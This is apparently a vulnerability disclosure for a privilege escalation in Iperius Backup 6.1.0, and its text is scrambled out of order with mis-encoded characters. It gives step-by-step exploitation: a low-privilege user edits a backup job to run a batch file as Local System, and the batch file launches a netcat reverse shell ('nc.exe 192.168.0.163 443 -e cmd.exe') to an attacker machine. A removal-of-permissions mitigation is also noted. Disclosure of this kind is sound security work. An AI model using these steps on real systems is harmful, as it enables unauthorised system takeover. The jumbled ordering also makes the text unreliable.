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Remove Everyone permission to folder c:\ProgramData\IperiusBackup Also able to backup entire administrator user profile as low privilege account. The vulnerability allows local attackers to escalate privileges and execute arbitrary code as Local System or AdministratorĪble to open elevated command prompt locally if service is running as local system, but not when using an administrator account. Command prompt on attacking machine will appearĬ:\Program Files (x86)\Iperius Backup>whoami will either be local system or administrator accountħ. Right-click on newly created job and select "Run backup service as" set program to run before backup job (c:\users\low\desktop\evil.bat)Ħ. set to any destination (c:\users\low\desktop) Open Iperius Backup and create new backup job Create batch file calling netcat and sending command prompt to attacking offĬ:\users\low\downloads\nc.exe 192.168.0.163 443 -e cmd.exeĥ. Login as low privilege user where Iperius Backup and Iperius Backup Service are installedĢ. To a system running Iperius Backup and Iperius Backup Service using aġ. To successfully exploit this vulnerability, an attacker must already have local access Vendor Post - Installation as Windows service: what it is and why it’s important A low privilege user could abuse this and escalate their privileges to either local system or an administrator account. The backup job is run as the user of the running service, as such the program requested to run before or after a backup job is run as that same user. An option when creating a backup job is to run a program before or after the backup job. By default the application allows for low privilege users to create/run backup jobs and edit existing jobs due to file permissions. Iperius Backup Service must run as Local System or a system administrator. Vulnerable Software: Iperius Backup 6.1.0
Twitter: Title: Iperius Backup 6.1.0 - Privilege Escalation
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